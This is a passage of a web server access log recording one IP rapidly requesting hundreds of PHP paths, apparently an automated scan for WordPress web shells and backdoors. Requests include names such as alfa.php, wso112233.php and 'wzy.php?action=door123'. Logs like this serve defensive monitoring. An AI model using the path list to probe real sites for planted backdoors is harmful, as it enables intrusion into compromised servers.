"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:25 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:26 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:27 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:28 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:29 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:29 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:29 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:29 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:30 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:31 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:31 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:31 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:31 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:31 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:31 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:31 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:32 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:32 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:32 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:32 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:32 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:32 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:33 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:34 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:50:34 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:34 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:34 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:34 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:34 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:35 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:35 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:35 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:35 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:35 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:35 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:36 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:37 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:37 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:37 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:37 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:37 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:37 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.36.48.76 - - [26/Apr/2025:04:50:38 